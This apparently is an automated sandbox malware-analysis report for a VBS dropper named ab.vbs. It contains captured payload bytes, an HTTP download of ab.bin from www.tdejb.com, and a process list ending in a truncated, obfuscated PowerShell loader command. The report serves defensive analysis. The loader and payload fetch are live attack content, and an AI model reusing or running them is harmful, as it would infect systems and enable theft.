2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 74 5a 61 39 6f 47 6c 34 6b 49 71 66 55 4d 55 42 72 74 39 41 6e 56 38 34 51 48 57 67 33 68 31 31 72 39 39 41 64 61 2f 66 51 48 57 76 33 30 41 6a 4f 75 37 32 4d 59 66 45 45 52 49 7a 64 39 65 31 6e 52 30 6f 65 36 33 49 44 69 51 57 73 69 38 4e 75 56 36 78 65 4f 52 58 30 76 52 65 76 32 57 46 4b 34 7a 63 2f 45 7a 57 53 2b 6a 4a 57 72 67 46 6f 36 42 51 58 55 71 55 75 43 42 58 76 74 79 6d 46 6e 6f 61 73 69 78 62 76 53 36 58 42 68 6d 35 65 62 6c 4e 7a 45 43 50 75 53 62 6c 62 56 35 4b 59 39 77 65 61 4e 46 44 4b 5a 4e 54 58 6e 52 52 6e 5a 48 64 38 53 37 72 5a 4b 50 52 4a 67 6f 6d 46 46 6b 54 38 36 31 65 73 34 4e 53 57 53 54 30 58 45 32 36 6b 67 68 65 73 37 38 6b 77 75 37 30 52 43 39 32 6a 38 42 57 65 78 4a 39 52 71 51 41 2f 48 54 4f 5a 70 47 6f 75 71 62 79 4f 57 43 Data Ascii: tZa9oGl4kIqfUMUBrt9AnV84QHWg3h11r99Ada/fQHWv30AjOu72MYfEERIzd9e1nR0oe63IDiQWsi8NuV6xeORX0vRev2WFK4zc/EzWS+jJWrgFo6BQXUqUuCBXvtymFnoasixbvS6XBhm5eblNzECPuSblbV5KY9weaNFDKZNTXnRRnZHd8S7rZKPRJgomFFkT861es4NSWST0XE26kghes78kwu70RC92j8BWexJ9RqQA/HTOZpGouqbyOWC
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 72 39 39 41 64 61 2f 66 51 48 57 76 74 6d 47 6d 30 70 72 6a 36 57 58 4b 74 43 5a 32 4f 77 7a 75 45 43 57 77 39 46 6e 6c 44 55 73 54 69 50 39 45 34 58 4b 54 39 46 67 69 79 68 50 4b 58 72 65 65 77 52 6f 37 39 46 6a 55 55 6d 62 64 58 6f 65 68 35 7a 30 41 4a 6a 4e 57 6f 33 53 55 51 6e 6d 75 32 73 54 59 77 59 51 37 6b 71 2b 78 77 57 78 74 2f 68 6e 4b 49 78 6e 43 57 38 72 67 76 45 37 74 37 4e 63 63 58 53 73 6a 4a 6b 78 32 68 48 69 43 38 42 50 35 69 6d 55 75 6d 2b 32 6b 4c 71 6e 31 45 58 72 35 6c 76 4e 51 62 31 61 78 58 6f 5a 46 47 32 68 65 4a 78 55 56 72 33 65 76 58 71 6f 6d 68 56 6c 64 39 46 33 70 34 54 41 38 58 72 4b 66 51 77 52 4a 39 47 32 4b 4f 47 67 6f 69 64 7a 38 53 64 5a 57 36 43 73 66 4f 6c 4a 56 58 4b 6b 37 53 4f 76 64 55 63 73 59 63 72 4e 31 6f 6d 70 Data Ascii: r99Ada/fQHWvtmGm0prj6WXKtCZ2OwzuECWw9FnlDUsTiP9E4XKT9FgiyhPKXreewRo79FjUUmbdXoeh5z0AJjNWo3SUQnmu2sTYwYQ7kq+xwWxt/hnKIxnCW8rgvE7t7NccXSsjJkx2hHiC8BP5imUum+2kLqn1EXr5lvNQb1axXoZFG2heJxUVr3evXqomhVld9F3p4TA8XrKfQwRJ9G2KOGgoidz8SdZW6CsfOlJVXKk7SOvdUcsYcrN1omp
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 72 38 42 50 77 55 65 65 76 2f 6a 31 33 55 42 31 32 69 6a 45 76 75 35 65 50 51 46 78 2b 45 42 31 6f 46 74 74 70 31 41 67 68 33 53 2f 4a 4a 67 54 4c 76 5a 51 39 65 47 64 4a 6b 78 74 58 6e 46 4c 37 39 51 42 38 58 78 65 63 51 62 39 48 6e 37 38 45 76 31 43 64 61 2b 4e 2b 72 54 2b 4c 6a 62 30 56 52 68 41 64 61 2f 51 78 50 6b 34 33 45 41 76 45 42 6c 4a 33 47 42 65 72 2b 35 75 76 4f 72 30 57 47 43 6e 37 64 56 65 68 77 58 2f 2f 65 44 77 62 74 36 35 2f 68 4c 39 51 6e 57 76 58 6a 30 46 30 79 70 41 64 61 42 62 6d 65 32 73 33 79 61 43 62 6f 51 6f 73 71 36 4a 4a 6a 74 59 75 63 57 76 4c 75 36 2b 39 34 64 75 75 50 53 65 56 43 62 37 6e 6c 35 70 37 71 34 37 48 50 77 61 48 30 46 31 72 79 6d 45 56 68 48 4a 72 4d 55 71 58 6f 62 79 51 45 56 37 39 46 6d 7a 62 5a 49 63 57 6f 6e Data Ascii: r8BPwUeev/j13UB12ijEvu5ePQFx+EB1oFttp1Agh3S/JJgTLvZQ9eGdJkxtXnFL79QB8XxecQb9Hn78Ev1Cda+N+rT+Ljb0VRhAda/QxPk43EAvEBlJ3GBer+5uvOr0WGCn7dVehwX//eDwbt65/hL9QnWvXj0F0ypAdaBbme2s3yaCboQosq6JJjtYucWvLu6+94duuPSeVCb7nl5p7q47HPwaH0F1rymEVhHJrMUqXobyQEV79FmzbZIcWon
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 66 2b 54 56 43 4b 33 66 51 41 71 67 58 72 74 30 68 52 67 51 39 69 70 44 51 48 57 76 33 73 57 76 72 67 67 4a 38 58 30 59 78 61 79 75 33 30 41 70 75 6f 75 4a 39 56 58 47 77 63 42 32 33 6b 42 31 47 62 54 34 2b 63 6e 6d 6d 66 46 41 58 76 57 73 72 74 39 41 6d 34 2b 62 70 2f 51 61 42 6b 46 31 72 39 73 65 33 51 31 62 74 45 34 69 42 6b 46 31 72 39 44 46 49 46 41 67 76 2f 51 53 51 30 42 31 72 37 2b 71 64 61 2f 51 7a 34 4e 52 49 4c 2b 79 4b 71 56 43 64 61 39 73 2f 38 67 75 75 58 6d 6d 4c 6d 6f 36 64 36 2f 66 63 74 4e 65 73 38 48 41 31 64 31 41 64 63 75 65 6b 2b 45 72 48 63 48 59 31 64 31 41 64 55 71 48 33 77 7a 4a 57 6f 68 4f 45 71 56 43 64 61 2f 51 7a 4d 39 52 49 4c 39 4e 51 56 62 31 42 4b 33 66 51 45 31 32 59 59 35 75 56 2b 4f 33 74 2b 63 59 4f 6e 63 75 4b 64 48 Data Ascii: f+TVCK3fQAqgXrt0hRgQ9ipDQHWv3sWvrggJ8X0Yxayu30ApuouJ9VXGwcB23kB1GbT4+cnmmfFAXvWsrt9Am4+bp/QaBkF1r9se3Q1btE4iBkF1r9DFIFAgv/QSQ0B1r7+qda/Qz4NRIL+yKqVCda9s/8guuXmmLmo6d6/fctNes8HA1d1Adcuek+ErHcHY1d1AdUqH3wzJWohOEqVCda/QzM9RIL9NQVb1BK3fQE12YY5uV+O3t+cYOncuKdH
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 4a 68 77 54 2f 6a 4a 61 51 58 57 76 4e 33 5a 58 72 39 38 52 7a 45 72 32 45 30 4d 75 4c 6d 46 46 6f 33 66 42 68 42 4c 76 77 64 55 75 4c 72 2b 35 48 5a 7a 42 6e 4e 2f 4e 4c 41 67 6d 35 6a 66 56 2f 6b 70 47 34 4f 52 4b 71 30 48 6c 63 6e 34 54 6c 71 51 6a 6a 77 34 61 6e 45 71 79 6a 57 31 4e 68 5a 4f 41 4b 51 66 59 42 48 55 64 55 50 79 49 6e 35 38 43 35 66 4d 49 47 66 77 71 54 45 46 31 72 31 61 59 49 68 41 48 53 43 4e 52 58 72 63 57 2f 4f 77 6b 39 46 67 2f 41 57 33 2b 58 71 2f 65 52 4b 43 6c 39 47 69 6c 57 58 61 31 56 6b 39 53 43 73 68 78 56 72 47 6e 39 74 4b 78 41 6b 44 48 7a 54 2f 31 2f 4f 68 52 4e 31 5a 72 72 45 4c 53 36 78 61 4a 4e 7a 45 65 41 69 37 79 4c 61 61 54 66 46 64 37 4b 76 2b 50 2b 47 73 45 4d 4f 4e 41 51 6a 6d 71 4e 71 72 53 38 34 2b 77 69 4e 7a Data Ascii: JhwT/jJaQXWvN3ZXr98RzEr2E0MuLmFFo3fBhBLvwdUuLr+5HZzBnN/NLAgm5jfV/kpG4ORKq0Hlcn4TlqQjjw4anEqyjW1NhZOAKQfYBHUdUPyIn58C5fMIGfwqTEF1r1aYIhAHSCNRXrcW/Owk9Fg/AW3+Xq/eRKCl9GilWXa1Vk9SCshxVrGn9tKxAkDHzT/1/OhRN1ZrrELS6xaJNzEeAi7yLaaTfFd7Kv+P+GsEMONAQjmqNqrS84+wiNz
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 32 53 2b 62 39 47 36 79 72 54 56 44 58 6f 45 58 67 52 42 33 2f 4c 62 77 44 62 70 4c 6e 62 64 69 47 44 50 7a 39 4b 48 42 4b 33 79 6e 37 6c 34 34 45 34 30 6e 49 4c 59 55 79 72 33 69 50 70 58 2f 31 79 73 5a 75 56 77 65 2f 68 74 78 6d 59 6c 4c 35 69 55 6c 58 6f 65 58 4a 6a 66 69 57 51 4b 67 36 77 46 73 41 6a 2f 48 59 65 69 56 59 44 79 2b 4e 68 52 5a 32 30 6d 68 63 31 30 70 46 68 48 4b 48 39 42 42 61 7a 72 66 51 48 57 76 33 30 42 31 72 39 39 41 64 66 35 4c 43 4d 79 78 2f 6f 41 2b 43 43 57 4d 66 6b 6b 79 53 74 6d 4b 56 59 4f 70 72 43 6f 37 6b 4a 4f 79 59 48 62 77 76 74 65 67 37 73 53 76 6b 62 6c 4c 31 4c 52 53 53 66 63 45 64 4f 57 6b 4a 78 56 46 4e 4d 5a 31 58 72 4a 33 76 2f 78 38 39 47 32 33 33 42 71 32 69 4e 7a 38 53 4e 35 58 36 4d 6c 61 75 67 75 6c 5a 74 59 Data Ascii: 2S+b9G6yrTVDXoEXgRB3/LbwDbpLnbdiGDPz9KHBK3yn7l44E40nILYUyr3iPpX/1ysZuVwe/htxmYlL5iUlXoeXJjfiWQKg6wFsAj/HYeiVYDy+NhRZ20mhc10pFhHKH9BBazrfQHWv30B1r99Adf5LCMyx/oA+CCWMfkkyStmKVYOprCo7kJOyYHbwvteg7sSvkblL1LRSSfcEdOWkJxVFNMZ1XrJ3v/x89G233Bq2iNz8SN5X6MlaugulZtY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49831	202.71.109.228	443	6920	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 09:39:15 UTC	167	OUT	GET /ab/ab.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.tdejb.com Cache-Control: no-cache
2024-12-05 09:39:15 UTC	223	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 09:39:14 GMT Server: Apache Last-Modified: Tue, 03 Dec 2024 03:27:16 GMT Accept-Ranges: bytes Content-Length: 449600 Connection: close Content-Type: application/octet-stream
2024-12-05 09:39:15 UTC	7969	IN	Data Raw: e4 47 1f 45 3d dd a3 e0 6d 19 db 76 50 37 22 40 fe 29 88 ff 9c 7c 0b 11 04 fc dc ee e6 0b c2 1d 5b 94 dc 82 ef c4 e7 1d a6 e1 fc 84 69 99 af 58 1e ab b9 4a 0e e6 e3 79 a1 6a 74 10 24 8a a5 2d 99 5f fa f9 c4 a1 54 94 8c 94 52 0a 80 b8 26 bd 1e c1 35 f2 74 cf a0 2d 09 a9 df 4e 72 07 af 69 cf 13 e3 0d 6c dc c7 08 65 4d 87 fd 1e 2a a4 07 d2 85 a5 7c af 18 58 d6 ba 87 3d 88 2e 1d 14 a3 fe 66 f0 79 4c 83 90 93 0e e0 9d 4f ba 29 bb e4 92 a6 c0 1c e2 c6 08 f3 81 d7 02 23 81 aa ba 4e 27 17 4d 26 b2 ff c2 bf b0 a6 81 b2 f1 71 1f 79 99 0e c2 4f 27 85 34 34 7c 30 d9 12 e9 25 80 c6 b0 59 04 58 35 50 ed 39 a6 ec d5 7a ad 85 7b 00 f9 03 d9 7f 04 ea fc ec 2f 3d c7 fd 5c 46 c3 3f 1a fb b9 21 ab 26 0a ec 6c ee ec 9c 7a e5 08 31 cb 0a 50 64 fd ae 9e a5 ee 74 60 6e 6d a3 0c Data Ascii: GE=mvP7"@)\|[iXJyjt$-_TR&5t-NrileM*\|X=.fyLO)#N'M&qyO'44\|0%YX5P9z{/=\F?!&lz1Pdt`nm
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 94 c8 5a df 80 bd 7e 84 86 d2 d4 7b 9c af fc 68 81 ad ee 90 97 14 86 8b 6f a7 bd 94 80 a5 ad 7e 12 f9 d6 1c d9 51 c5 35 ab c2 e1 47 a1 0c bb ec e3 30 b7 01 ca 08 82 16 56 50 6c ed 85 59 04 b0 6c 70 10 91 07 29 70 f8 17 cd 02 00 77 d1 3d ab 55 b4 d1 eb e0 0d 83 b4 34 92 41 f5 5a 49 54 56 84 1d d9 1b 28 d9 15 1c ac f0 99 11 0a c4 7a 86 4d 78 5d 9a 8b 6d 42 19 d9 19 18 d6 40 9d ec 84 5a 94 1a b7 b3 6f b5 74 03 c4 f6 9e ae ac 28 3c e0 18 d9 b7 f2 fe 5f 7b b5 4c 35 bc 5e 97 72 67 f4 58 8f 9b 02 9b d1 a4 ec c5 08 c0 ab 9a 40 92 ef bc b2 3c 4b 7e 94 dd f2 bf cc 23 89 ad 77 cc ec 20 43 63 b9 b4 f5 b6 e7 48 a1 72 fd 7e 5e 54 38 f2 40 c6 da 71 6e 3e 45 db 5c 80 09 03 4a b2 ca c3 ce 60 f6 f5 96 ac a7 5e 58 99 69 cb 81 54 92 df a4 6c 1d b7 b3 f8 65 72 f9 1a d7 9b fb Data Ascii: Z~{ho~Q5G0VPlYlp)pw=U4AZITV(zMx]mB@Zot(<_{L5^rgX@<K~#w CcHr~^T8@qn>E\J`^XiTler
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: e6 f2 97 50 41 1c 7e 14 68 71 2e 90 15 88 8e 21 e7 bc ce da cb 8a a9 2f a6 f1 bf f4 22 8e 01 fa 0e ac 90 5a 57 fd 5c 55 62 9c 65 71 cb 28 39 63 6d 26 b2 8b 6d 82 47 04 ec ae 02 55 ce 9e 77 e1 94 76 84 f9 b9 d0 6e de ae 0c 21 d2 c4 c0 93 db 8f 74 92 9f d0 d5 2d 93 83 f1 30 c9 a9 a9 30 98 55 1c aa 25 22 ab 48 b0 d4 2d 60 26 12 2c ff 69 ed c5 96 d1 82 f5 3b 99 fc f3 79 ee 90 f2 d8 92 95 59 09 62 2a 7b 3d 98 6d 74 89 d3 8c 27 ca 9b c4 a1 90 24 c4 81 82 e7 67 e4 b8 b2 df e4 6b bf ee 5f 27 bd c6 ae 60 9c e5 2e 3a 99 d4 ca 64 96 f6 f5 67 bc 3c 9e 6f af ea 29 64 40 65 ea b4 ae 0f 30 c7 3a 23 79 20 7b b4 af e7 f3 46 08 e4 bc 76 a9 a8 f0 71 5b 2f df 16 2e 32 6d 79 5c 5b 0c 97 41 19 58 88 8c ac bd 69 03 9a 13 b4 be 95 7a 16 49 13 cf 1d 46 84 a9 88 7a b8 8f 0d ad f1 Data Ascii: PA~hq.!/"ZW\Ubeq(9cm&mGUwvn!t-00U%"H-`&,i;yYb*{=mt'$gk_'`.:dg<o)d@e0:#y {Fvq[/.2my\[AXizIFz
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 56 8f 45 fb 31 ec 2d 37 05 9d fe f0 18 d8 18 48 d8 37 4f 39 c4 f6 40 ee fe d4 8d fd c8 90 cd 48 94 6e ad 6b 5d 73 62 50 47 d9 ff c4 9f f8 25 2e d3 4c ab 5e 26 3d 59 90 c0 c1 f2 1f 7c 47 e5 5a b8 59 44 9e b1 7f c6 bc 70 35 55 1b b1 4e 13 11 a1 90 64 63 99 6d 20 ff 79 39 66 09 e5 07 70 74 87 f1 f7 1c 9c 74 78 7c 1d 1a 48 15 1e aa 1a 9d 77 83 22 1e 76 85 ca 54 f2 54 a0 7a 88 4c 5e ad 68 20 8d c2 7a 3e d1 a0 81 1a b9 31 b0 a7 70 ea 13 a1 f4 19 5c a8 90 bf 46 c9 ae 94 9b 2b c8 5c 52 fc 06 dc c0 1d 64 34 84 69 84 6c ef c5 d0 1a cc 3b c5 7e c6 86 d4 de bd 17 80 63 3b ac 44 08 1b b0 e3 af fa e0 ba e0 7c 11 76 21 e0 eb 2a 55 19 a8 c5 03 20 6d 81 30 2b 4e d9 c0 55 79 b6 71 79 2a 64 29 91 94 c4 ba a2 68 43 9e 11 45 5e e7 ea c4 47 69 7a 09 e4 3e d3 4d 5d 36 e8 02 ba Data Ascii: VE1-7H7O9@Hnk]sbPG%.L^&=Y\|GZYDp5UNdcm y9fpttx\|Hw"vTTzL^h z>1p\F+\Rd4il;~c;D\|v!U m0+NUyqyd)hCE^Giz>M]6
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 52 d9 1a a5 bb f8 64 b4 28 ae c6 60 db 80 56 85 70 6f 9b ee b1 09 35 47 fe 27 51 5d 6d 61 a8 85 58 e1 4e 14 43 ac d4 9b 4b fe 1c 15 b1 70 68 52 cf 77 61 c9 70 c0 67 e0 69 dc 23 9d c1 45 b8 86 b1 af 3f 51 6a a1 79 c7 df 01 32 64 17 30 98 ba 9b c5 85 15 c7 34 58 c5 70 78 63 55 88 4d a8 34 da ab b3 81 df a0 a0 b1 95 bb 1a 48 93 da b3 c9 e7 df 35 84 3e 05 bc 17 a2 d3 23 02 0b 2a 06 b9 42 92 27 92 80 e7 90 7a 01 88 b9 b3 23 a3 3c 27 9a db ae 05 b3 0e 13 c7 84 c7 10 8e 8a e9 ed a2 48 5c 7d 10 b8 f0 f8 fb cc 9b b6 e4 69 a2 6b 4b 8d a2 84 12 a5 54 6e e9 c6 c9 70 48 b2 61 8a b0 a0 62 56 d6 81 2c ca 6b cb 23 18 79 7b cf fe 54 0e c1 80 84 73 fd 26 02 c3 81 7e 73 2a 89 ee 3b ef 53 c6 6b c3 98 75 ee 23 cc 88 ca 88 78 d6 ee f7 d2 63 4c 5f e9 2a 57 28 4a be 5b ba 2a cd Data Ascii: Rd(`Vpo5G'Q]maXNCKphRwapgi#E?Qjy2d04XpxcUM4H5>#B'z#<'H\}ikKTnpHabV,k#y{Ts&~s;Sku#xcL_W(J[
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 97 0c 2e ef fd a9 89 bc 69 4b 8d c4 88 5c 0f dc b5 40 0c d7 e5 82 74 b6 ca 64 25 1f 20 27 28 13 ed 94 4b d5 bd c9 5b fc b1 f3 a2 da e9 13 b0 00 a7 a5 80 fc 7f 3d 46 63 5f c9 d8 66 8c 4f fc f1 90 f3 fe 2c f1 c4 cb 47 79 11 a5 f3 53 4d 74 7d 15 84 c3 ad bc 21 ee 8a 8a dd 57 90 9b 3d bf 69 2c 28 fd a1 6d c1 f2 e6 8b d7 21 8a 74 7d 34 cf 65 ef e2 51 13 97 1e 95 02 32 82 7c bc 9c c4 61 a7 ff 12 0d 9a 49 0d a0 18 9f a2 fc ca 01 fe 0d 95 1d 19 17 4f 01 4b 59 fc fa 52 7c bf e6 f8 10 fb 28 05 0d da 7f b9 3d cc e7 97 fa 93 26 ff 12 23 40 83 3c a2 7d a9 63 f9 81 44 0c 69 be 99 79 e3 7e ff a3 73 bf 9f da 97 ba 4c a7 7f f4 08 fe 19 49 b6 1b 8b ba 59 be 95 d9 13 1d 7f ab cd b2 25 a5 b8 d0 ff bb 5f 30 91 e0 8b bd 9d bd d4 fa 78 a7 27 dc f8 c2 3b 1b 6c 68 84 8b c0 fa 2a Data Ascii: .iK\@td% '(K[=Fc_fO,GySMt}!W=i,(m!t}4eQ2\|aIOKYR\|(=&#@<}cDiy~sLIY%_0x';lh*
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 5e e0 34 e6 79 3e d2 8b 8c 98 b5 59 1f b0 00 a9 5f 6e 88 7d 7c 52 06 f2 39 05 b9 3a 82 26 c6 8c a4 fa 7f 38 22 08 1e ae 34 11 e3 ad 1f 74 62 4d 97 ca 29 36 3c 97 63 8c 86 4e ff a7 94 a6 cb fc 26 d5 cc af a3 f1 05 ec 15 f8 c9 34 f1 ec 69 f7 1c 66 36 cd f5 34 de 72 06 d0 1f 2f e9 3d 5c 87 56 fb 22 d3 76 d4 b6 13 de 67 8a 99 61 68 d5 0b 23 ae f4 39 2f 93 2d 68 cd 12 ff 07 10 00 5d 6f 45 4c 9b 78 6e 79 37 bf b2 93 73 39 8a e2 bd ad 20 ef 4d eb ec 08 a8 fb 65 60 ac 93 0c 9f 58 94 fe b7 5f 3b 09 16 ed cf 4b 51 49 cb cf 92 bf 78 4d 8e 6d 60 21 92 44 8b f1 e4 37 4f 15 67 82 68 b3 bd 52 57 32 fd 8e bf 61 75 54 c8 e4 94 d6 8b 20 32 81 ff 98 af 28 47 7f 13 88 c4 64 3e dc 7f 9c f0 1c 35 97 e9 eb b1 db 39 8c 0e c7 d3 ca b5 b3 40 99 21 46 7c b6 82 cd 68 14 40 4d 40 29 Data Ascii: ^4y>Y_n}\|R9:&8"4tbM)6<cN&4if64r/=\V"vgah#9/-h]oELxny7s9 Me`X_;KQIxMm`!D7OghRW2auT 2(Gd>59@!F\|h@M@)
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 01 b0 75 a0 8f 57 29 8c 6f 5e e2 fc 7a 57 c0 cc d7 d6 69 93 7e a4 92 1a de 46 22 f8 10 65 e9 14 75 7c ad 6f fc 33 b3 3e fc 6f fb 11 54 07 d5 de 01 aa e3 22 03 18 2c 88 bc 3e ad d7 2c 6b 3b 0a c2 73 2d 0e ac 2d b6 b0 f8 3b e3 2f 2b 0f a8 f9 cb 7f 10 d3 e9 7d 92 c1 bb 10 15 4b 85 99 14 35 05 04 ba 3e c6 d5 d8 f5 ce 95 83 0b af 80 27 57 d6 5f b9 f3 a5 ce 70 ea 48 24 eb 2a eb 06 7e 68 1f d4 e2 6d 29 e7 ef 09 b4 4c 57 3a 1f d9 ac 4a 11 84 74 7d 7f df 59 f5 2b 5f 1e 89 ef 1d c4 64 f1 20 a3 dd a8 36 48 5f ff 9f 9d 0e 84 04 aa 8d 2a d4 30 ab 91 c4 33 a3 24 bb f3 41 30 03 d5 ed 8a b4 4a 42 43 8c 67 16 91 dd 15 a6 a3 3f 9d 58 24 a6 a7 8a 70 19 0c 3f 89 31 09 d5 e8 f7 df 10 76 80 4f 23 6c 2e 18 45 af 60 47 52 f5 3d 5f ee 3a 78 2a ae 5d 52 d9 c4 3d 3b 37 37 ab 08 61 Data Ascii: uW)o^zWi~F"eu\|o3>oT",>,k;s--;/+}K5>'W_pH$~hm)LW:Jt}Y+_d 6H_03$A0JBCg?X$p?1vO#l.E`GR=_:x*]R=;77a
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: 02 41 ff ae ab 1b 6d ae 55 91 14 fd d6 c7 1b 06 b8 51 7c f9 56 87 d5 14 ab d5 77 6d 45 97 63 00 e4 99 19 44 cc 09 80 d2 f3 eb d9 2f bc af dc 6b 3d f4 f6 a3 b7 53 d4 53 c6 86 81 7b 2b b8 56 ed 83 30 a0 c0 40 10 ef 5f b2 9d 48 b6 d0 a7 00 2a 6d 58 46 ba d6 b7 dd 53 65 23 54 22 b4 e6 d1 57 86 54 cc ce dd 51 cb 61 2e d0 20 49 c0 1d 02 ab 00 75 66 95 4a 5b bc 55 df cd 28 2b fd 7a 4d 3c 55 4d 52 27 c3 4d 37 cb a4 d3 15 e1 58 94 34 99 3e ac c8 09 66 e5 38 a8 b7 89 2c 0e 6c 8e 46 65 a1 2e 3b 27 bb 3a 4b 01 75 fb 03 6d ed 31 7c 8f 42 3f 6d a5 fa a7 2b 22 7b fa 6f 1c f2 9e 6b a6 94 94 0f 4d b3 69 65 e2 70 49 8c 75 61 a4 ae 8e 85 2f 34 51 c0 25 2a b2 ee 95 0a 4b 46 44 2b 71 7f fe 13 1e b1 e1 33 db 28 b8 00 8c 49 b9 1a 96 92 0c 83 1e fd fe 67 63 29 72 b4 40 b2 01 51 Data Ascii: AmUQ\|VwmEcD/k=SS{+V0@_HmXFSe#T"WTQa. IufJ[U(+zM<UMR'M7X4>f8,lFe.;':Kum1\|B?m+"{okMiepIua/4Q%KFD+q3(Igc)r@Q
2024-12-05 09:39:16 UTC	8000	IN	Data Raw: d3 f5 8c f0 02 82 cc ae c5 7f b7 4d 26 2f 5c ec f1 37 6d d9 1c 4f 30 f8 e6 6d 21 6f 25 35 48 9e 3e 24 d7 43 8a 87 2c 4b 93 c9 9d a0 18 5c f8 e9 b2 7a e0 ee d5 54 f1 3e d4 3c 7f 15 93 5d 4f 03 29 ba a6 54 28 ae 16 8c eb 86 93 b7 02 14 11 84 1d cc 4a 5e 05 0f 05 fd 42 94 37 d7 a9 45 cc b2 48 85 cd bd e3 53 df 24 e0 b8 fd b0 f7 05 ea df 43 e4 f1 a3 01 52 24 2c 5f 32 4e 67 72 35 22 08 43 82 9f aa aa 32 10 49 48 bd a5 9e 15 a5 e5 b7 98 d2 71 40 f5 d3 47 a5 d0 d2 fb 77 62 0f 35 7c 79 60 02 54 e9 58 7e b0 4d f2 e8 78 9c 69 a5 86 46 26 24 70 7a 07 23 3b 6a 04 f9 b4 91 72 2c 53 8f a2 2c 9f ea f3 a8 37 bd 5d 6a bf 7c 7d d8 34 6d 61 6f 5c b1 5f a6 b3 0f c6 ff 25 ab 76 b6 e7 e3 b1 91 c9 89 9f 4a 98 65 47 da 85 c3 64 6f 82 bc bb fb ea 38 62 96 54 78 9f bc 2c e1 71 52 Data Ascii: M&/\7mO0m!o%5H>$C,K\zT><]O)T(J^B7EHS$CR$,_2Ngr5"C2IHq@Gwb5\|y`TX~MxiF&$pz#;jr,S,7]j\|}4mao\_%vJeGdo8bTx,qR

Target ID:	0
Start time:	04:38:16
Start date:	05/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ab.vbs"
Imagebase:	0x7ff683320000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	04:38:17
Start date:	05/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get caption,serialnumber
Imagebase:	0x7ff750620000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	04:38:17
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	04:38:19
Start date:	05/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir 